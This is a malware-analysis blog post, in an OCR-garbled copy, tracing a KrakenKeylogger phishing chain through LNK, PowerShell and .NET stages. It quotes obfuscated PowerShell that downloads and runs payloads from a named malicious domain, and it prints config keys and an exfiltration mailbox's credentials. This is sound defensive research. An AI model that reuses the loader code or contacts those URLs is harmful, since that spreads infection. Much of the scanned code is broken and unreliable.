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IntroPermalink

In this first part we will be going through a recent phishing campaign delivering a never seen before

“KrakenKeylogger” malware.

The PhishPermalink

The mail sent to the victim is a simple malspam mail with archive attachment:
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contract intended for (i  NRNRNRNRGEGD:

Thits e-mall message from Siste Compensation Insurance Fund and il aRachments iransmiled with R may be priviieged or confidential and profecied from disclosune
o are not e Infended reciplent, ou are herely Rotified Bt 2y disseminaetion, distrioution, copying, or Eking =y action Desed on R s strictly proniohed and may iave legal consaquencas
I you hve recehed ks e-mall in ermor, plesss notlfy e sender by reply e-mall and destroy e original message and all cople

e ﬁ_" 1 attachment: Doc signed Subcontract Agreement.zip 1.2 KB

i Doc signed Subcontract Agreementzip 1.2 KE

The archive isa .zip archive that contains .lnk file:

T ‘u Doc signed Subcontract Agreement.zip\Doc signed Subcontract Agreement - ZIP archive, unpacked size 3,442 bytes

~

Name Size Packed Type Modified CRC32
- File folder
D seedof.Ink 3,442 1,039 Shortcut 5/11/2023 5:46 ... 11694B21

LNK AnalysisPermalink
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In order to analyze an .lnk file I use the LeCMD tool. By using the tool we can see that the .Ink will execute

PowerShell.exe alongside with an argument:

ell\vl.0\powershell

ion sDjL
WHuXBHu =

PowerShell ScriptPermalink

Let’s breakdown the script:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference
function nvRCIWiAJT($0nUPXhNfGyEh){
$0nUPXhNFGYER[ $OnUPXhNfGyEh.Length..@] -join('")
b

function sDjLksFILdkrdR($0nUPXhNfGyEh){
$vecsWHuXBHu = nvRCIWiAJT $OnUPXhNfGyEh;
for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -1t $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){
try{
$zRavFAQNJqOVxb += nvRCIWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)
}
catch{
$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)

bs
$zRavFAQNIgOVxb
b8

$NpzibtULgyi = sDjLksFILdkrdR 'aht1.sen/hi/coucys.erstmaofershma//s:tpht';
$cDkdhkGBt1 = $env:APPDATA + '\' + ($NpzibtULgyi -split '/")[-1];
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::T1s12;
$wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing;
[I0.File]::WriteAllText($cDkdhkGBt1l, $wbpiCTsGYi); & $cDkdhkGBt1;

sleep 3;

rm $cDkdhkGBt1;
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The script will create a new string which will be the URL to the next payload, the script will take the obfuscated

URL string and will deobfuscate it in several steps:

1. The string will be reversed by the function nvRCIWiAJT .
2. a for loop will iterate through the flipped string and will jump every 2 chars.
3. each iteration 2 chars will be flipped again, and in the last iteration the last char will flipped also but it

won’t have any effect.

Here is a quick python script that does this process:

input_string = 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'[::-1]

output_string = "'
for i in range(@, len(input_string), 2):
try:
tmp = input_string[i] + input_string[i + 1]
output_string += tmp[::-1]
except:

output_string += input_string[i]

print(output_string)

https://masherofmasters.cyou/chin/sel.hta

sel.htaPermalink

The fetched payload will be yet another powershell script:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted

function WQgtWbWK($FL, $i){
[I0.File]::WriteAl1Bytes($FL, $i)
b5

function APcZNMgjQ($FL){
if($FL.EndsWith((QXUpF @(4995,5049,5057,5057))) -eq $True){
Start-Process (QXUpF @(5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050)) $FL
}else{
Start-Process $FL

%
function 1ailJMT($eh){

$LM = New-Object (QXUpF @(5027,5050,5065,4995,5036,5050,5047,5016,5057,5054,5050,5059,5065) ) ;
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
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$i = $LM.DownloadData($eh);
return $i

%

function QXUpF($P){
$n=4949;
$s=$Null;
foreach($WK in $P){
$s+=[char]($WK-$n)
I
return $s

b8

function deaNPih(){
$AVYABiApT = $env:APPDATA + "\';
$XdOFJCmMx = 1lailJMT (QXUpF @(5053,5065,5065,5061,5064,5007,4996,4996,5058,5046,5064,5053,5050,5063,5060,50
$gNFQDXY1R = $AVYABiApT + 'sel.exe';
WQgtWbWK $gNFQDXYLR $XdOFICmMx;
APcZNMgjQ $oNfQDXY1R;;;;

deaNPih;

The script has several obfuscated strings that are being deobfuscated using the function QXUpF by simply going
over each number and substracting 4949 from it. here is a quick script that will deobfuscate those strings and

print the clear strings:

stringsList = [[4995,5049,5057,5057],[5063,5066,5059,5049,5057,5057,5000,4999,4995,5050,5069,5050],[5627,5050, !

for string in stringsList:
tmp = "'

for char in string:
tmp += chr(char - 4949)

print(f'[+] - {tmp}")

[+] - .dll
[+] - rundl132.exe
[+] - Net.WebClient

[+] - https://masherofmasters.cyou/chin/sel.exe

The script will download another file from the same domain previously used for fetching the .hta file in the

previous powershell script.

NET LoaderPermalink
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Stage 1Permalink

the fetched executable ( sel.exe )is a .NET executable:

Library: .NET(v4.0.30319)[-]

Compiler: VB.NET(-)[-]
Linker: Microsoft Lin<er(48.0)[GUI32]

the loader will decrypt embedded resource DataBasePracticallob using the encryption algorithim RC2 , the key
for the encryption will be the MD5 hash value of the hardcoded string QEssDIZhQnLywDnJGpBEr (The interesting
part here is that the hashing applied on the string after encoding it with BigEndianUnicode , @x@0 appends as a

suffix to each byte.) Here is a diagram of the decryption process:

you can use this CyberChef Recipe in order to calculate the MD5 hash easily. Then using RC2 decryption in

CyberChef we can also fetch the 2nd stage:
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Recipe [ ] + 0Oz =

°1'6EUPRe ~ °_  F&eeiss  (899PE[:d(*G0=ho® *do=ho® - *Go=ho® «"EyeIinaar$
RC2 Decrypt IM;0'°0é - 0.SE  #40/-9%Iei® - 206 "Ximk
A>90} 1A<e" £ oCayD2o+§00KK°8"A; * 30 O eoLKo#{?20¥| KobUmd; 0=«ISy" "W\
3, a0%1v3;EAGex®-0™" EiBes ' EiBesU°KI]Ae4 - opap¥e}3é.e0  #X3é. %c00° 2
60

File detalls

£d902d0529291...
«a#MBa;Pao=ho® - *Go=ho®  *ao=ho® *Go=ho® *ado=ho®
Raw X Mj*ewge5S/seeedo=hod® +5e° -~L08mqe6 o '% &
.;G( - uPRD2"%;6" hysAsecA - 2(n" - »do=ho® reyE0°0do=ho®

G}6@iMO+°Aw6+GHB*1 | o~a;me 1 0o TOU{ & resd ' @o=hd® - *ao=hd® ¥Name: DataBasePractical)
G0=h6®  *Go=ho@® Control character 0x9c 41y °Q&¢e0eEI61  © o O«o2D¥XNE307/0p3a ob
D>1T0. 2FFCl=sen@|0 b #07 LYdesi; UATe0DX0lo=A iAsBeTviEe" - x n@e» - OBIK Size: 177,160 bytes
)0agMo  Un' %) £%12MUH ; P<£a0é- :v(al - % - UKgA Type: unknown
AaAOM3 - Kr+éeX_Ue0 -=°0J¢+=U Loaded: 100%
®aw"%; IN2aLAv3end
Q°DCeuRy0e2k -~ ép

OxasRy2;<e 0 Orel SiAfDuddravie)zeosEt  aimd
D 177160 = 812 Tr Raw Bytes « LH

Output /- B0 m:o
Mz yy . e
i1, LI!This program cannot be run in DOS mode.

$ PE L gej a 19-Q « =

a 0

@ - @.reloc

Stage 2Permalink

The second stage is a .NET DLL which will be invoked by the first stage executable.

The DLL will be invoke on its first public exported method which is syncfusion :

4 (P DataBasePracticallob (
V) :
b PE
P o0 Type References
P o0 References
P BB Resources
4 {} -
4 0'6 <Module
P BB Base Type and Interfaces
b BB Deri
4 % privat mentationDet:
b Base Type and Interfaces
Derived Types
45 ;
P Bl Base Type and Interfaces
b BB Derived Types
S H'f‘l'\\'!'.n: ,:,
P {} DataBasePracticallob

The second strange DLL will have 2 embedded resources that will be decrypted, the first embedded resource
SeaCyanPul will bea .DLL that will be in charge of injecting the final payload to RegAsm.exe (won’t be

getting into it right now but the 3rd stage will be uploaded to Malware Bazaar)

The second resource UnknownDetails will be our final payload which will be decrypted using a simple AES-ECB

encryption routine without IV, the key in this case will be a sha256 of null value:
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[] byt, ikey)

~ aesCryptoServiceProvider = Ae
SHA256CryptoServiceProvider sha256CryptoServiceProvider =

[] array = sha256CryptoServiceProvider.
aesCryptoServiceProvider. = array;
aesCryptoServiceProvider. = CipherMode.

aesCryptoServiceProvider.

As I wrote before that, the payload will injected to RegAsm.exe
Kraken PayloadPermalink
The Kraken payload 32-bit .NET binary, so we can work with DnSpy to go over some of it functionalities.

Kraken ConfigsPermalink

The configs of the Kraken stored in the .cctor of the main class:

Some of the configs are encrypted using DES-EBC encryption routine without IV, the key is MD5 hash of a

preconfigured string, in this case: swCpiTiAhkkEpyDZTnAGhOBZpr , here is a quick python script that will decrypt
the config strings for us:

import malduck, base64

from Crypto.Cipher import DES

encryptedStringsDict = {
"PersonalEmail': 'KY1YJirrzmj9NFMzqVxdqgmBPWvogKC9',
'PersonalEmailPassword': 'INI13bp6TXER2sT4YYxfjw==",
'PersonalEmailHost': '6pvSg6TWhxedDZg2k3/106fwica30Ilg’,
'TheSMTPReciver': 'qUQWGy6wVRm4PKDty97tnE+Z3alydqyP"',
'"PersonalEmailPort': 'VqONpyzLgFY=",
'PersonalHostLink': 'EdrE+GGMX48=",
'PersonalHostPassword': 'EdrE+GGMX48=",
'PersonalHostUsername': 'EdrE+GGMX48=",
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'TheTelegramToken': 'EdrE+GGMX48=",
'PersonalTeleID': 'EdrE+GGMX48="

md5hashKey = malduck.md5(b'swCpiTiAhkkEpyDZTnAGhOBZpr')[:8]
for k,v in encryptedStringsDict.items():

des = DES.new(md5hashKey, DES.MODE_ECB)

decVal = des.decrypt(baseb4.b64decode(v))

print(f'[+] {k} - {decVal.decode()}")

[+] PersonalEmail - onuma.b@thereccorp.com
[+] PersonalEmailPassword - 001234
[+] PersonalEmailHost - mail.thereccorp.com
[+] TheSMTPReciver - jbs.hannong@gmail.com
[+] PersonalEmailPort - 587
[+] PersonalHostLink
[+] PersonalHostPassword
[+] PersonalHostUsername
[+] TheTelegramToken
[+] PersonalTelelD

So now we have the configuration of the Kraken, let’s move to some capabilities overview:

Custom CommandsPermalink

The Kraken has several functions that can be executed (only if the user of the malware flag them during the

compilation process of the stub), such as:

e TimeToRun

e LoadWeb

e Disable_Task

e Disable_CommandPrompt
e Disable_Regis

e ProcessKiller
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0

Nothing really interesting here, probably some persistence methods/VM checks.

Harvesting CapabilitiesPermalink

The kraken follows the usual info stealer path as stealing local Outlook, Foxmail, ThunderBird mails credentials.

It will lookup for credentials in those browsers:

e Google Chrome

¢ QQ Browser

e Vivaldi Browser

e Chromium Browser
e Cent Browser

e Chedot Browser

¢ 360Browser
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e Brave

e Torch

e UC Browser
o Blisk

¢ Opera

e Avast Browser
o Edge

e Google Chrome Canary
 Firefox

e CocCoc

e Citrio Browser
e CoolNovo

e Epic Privacy Browser

The Kraken will also look for FileZilla Credentials
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ExfiltrationPermalink

The Kraken allows exfiltration via:

« FTP
e SMTP
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e Telegram Bot

FTPPermalink

t ftpWebRequest = (FtpWebReque
- (Or ato

( )bytes.
requestStream = ftpWebRequest.

requestStream. te(bytes,

requestStream. 0);

1 ex)

OF
~eam(array);
(memoryStream, "Recovere

ato

smtpClient =

smtpClient.

smtpClient.

smtpClient. l
smtpClient. i(mailMessage);
mailMessage. OH

(Exception ex2)

Telegram BotPermalink
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flag4 = Operators.
(flaga)

= >
SecurityProtocolType.
(]

Post Exfiltration ActionsPermalink

After the stealing process was done, the Kraken will automatically start a keylogging process + screenshot

capturing of the victim’s computer:

I0C’sPermalink

» Doc signed Subcontract Agreement.zip -
79571f0ad832a31a1121f7c698496de7e4700271ccf0a7ed7fe817688528a953
o seedof.Ink - beec3ec08fba224c161464ebcc64727912c¢6678dd452596440809ce99c8390fd

Page 14 of 15


https://bazaar.abuse.ch/sample/79571f0ad832a31a1121f7c698496de7e4700271ccf0a7ed7fe817688528a953/
https://bazaar.abuse.ch/sample/beec3ec08fba224c161464ebcc64727912c6678dd452596440809ce99c8390fd/

https://Oxtoxin.github.io/malware%20analysis/KrakenKeylogger-pt1/

1st.exe - dddaf7dfb95c12acaae7de2673becf94fb9cfa7c2d83413db1ab52a5d9108b79
2nd.dll - £7c66cedc357c3a7c44ddal21{f8bb6a62bb3e0bc6f481619b7b5ad83855d628b
3rd.dll - 43e79df88e86f344180041d4a4c9381cc69a8ddb46315afd5c4c3ad9e6268e17

o Kraken.exe - ee76fecdbc7ec334cc6323ad156ea961e27b75eaa7efb4e88212b81e65673000

SummaryPermalink

In this blog I've covered a new .NET based stealer/keylogger malware, the way it was used in a phishing
campaign, and a dive into the loader/injection process including overview of the malware capabilities and config

extraction.

Part 2Permalink

In part 2 I will be explaining my Threat hunting process, why the malware being flagged falsely? and how I

managed to find more samples that helped me confirm my findings.

Part 2 is up! check it out right here

Source: https://0xtoxin.github.io/malware%?20analysis/KrakenKeylogger-pt1/
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